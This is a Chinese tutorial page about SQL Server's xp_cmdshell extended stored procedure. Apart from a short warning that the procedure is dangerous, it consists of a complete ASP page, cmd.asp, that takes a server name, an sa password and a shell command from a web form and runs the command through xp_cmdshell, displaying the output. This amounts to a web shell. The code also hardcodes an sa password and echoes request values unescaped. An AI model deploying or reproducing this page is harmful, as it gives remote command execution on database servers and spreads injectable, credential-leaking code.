sql server扩展存储过程xp_cmdshell用法入门实例

发布时间:2020-06-30编辑:脚本学堂
有关sql server扩展存储过程xp_cmdshell的用法,xp_cmdshell存储过程可以执行本机cmd命令,是个非常危险的扩展存储过程,如果不需要可以考虑禁用它。

xp_cmdshell存储过程是执行本机cmd命令,要求系统登陆有sa权限,若获得sqlserver的sa命令,可以在目标机执行任何命令。

asp调用扩展存储过程xp_cmdshell的例子,cmd.asp,代码如下:
 

复制代码 代码示例:
<%@language="vbscript" codepage="936"%>
<!doctype html public "-//w3c//dtd html 4.01 transitional//en" "html4/loose.dtd">http://www.w3.org/tr/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<title>sqlserver_xp_cmdshell实例 _ www.jb200.com</title>
<style type="text/css">
<!--
body{
 font-size:13px;
 line-height:20px;
 width:760;
 scrollbar-face-color: #2896e1;
 scrollbar-shadow-color: #6cb4d8;
 scrollbar-arrow-color: #f0f0f0;
 scrollbar-darkshadow-color: #2896e1;
 scrollbar-base-color: #2896e1;
 background-image: url(images/bg.gif);
}
.lbr{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
 border: 1px solid #336699;
}
.input {
 border: 1px solid #336699;
 background-color:#eceafd;
}
.lb{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.n1 {font-weight:bold;color:#339933;font-size:13px;}
.n2 {font-weight:bold;color:#ff0000;font-size:13px;}
-->
</style>
</head>
<body>
<%if request("cmd")<>"" then%>
<table width=400border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30class=all_h bgcolor=#b3e0ff ><span class=n1>xp_cmdshell请求结果</span></td>
</tr>
<%
dim connstr,conn,rs,i
connstr="provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
connstr="provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=server.createobject("adodb.connection")
conn.open connstr
set rs=server.createobject("adodb.recordset")
set rs=conn.execute("xp_cmdshell "&replace(replace(request("cmd"),"",""),chr(34),"")&"")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.write "<tr><td class=""lbr"" bgcolor=""#def3ff"">"&rs(0)&"</td></tr>"
else
response.write "<tr><td class=""lbr"">"&rs(0)&"</td></tr>"
end if
i=i+1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
<table width=400border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 colspan=2class=all_h bgcolor=#b3e0ff ><span class=n1>xp_cmdshell实例</span></td>
</tr>
<tr align=center bgcolor=#def3ff>
<td width=26% class=lb><strong>服务器</strong></td>
<td width=74% class=lbr><div align="left">
<input name="server" type="text" id="server" class="input" size="20" value="<%=request("server")%>">
</div></td>
</tr>
<tr align=center >
<td class=lb><b>sa密码 </b></td>
<td class=lbr><div align="left"><span class=n1>
<input name="pwd" type="text" id="pwd" class="input" size="20" value="<%=request("pwd")%>">
</span></div></td>
</tr>
<tr align=center bgcolor=#def3ff>
<td width=26% class=lb><strong>cmd命令</strong></td>
<td width=74% class=lbr><div align="left">
<input name="cmd" type="text" id="cmd" class="input" size="20" value="<%=request("cmd")%>">
</div></td>
</tr>
<tr align=center >
<td colspan="2" class=lbr><div align="center"><b> </b>
<input type="submit" name="submit" value="提交command命令" class="input">
</div></td>
</tr>
</table>
</form>
</body>
</html>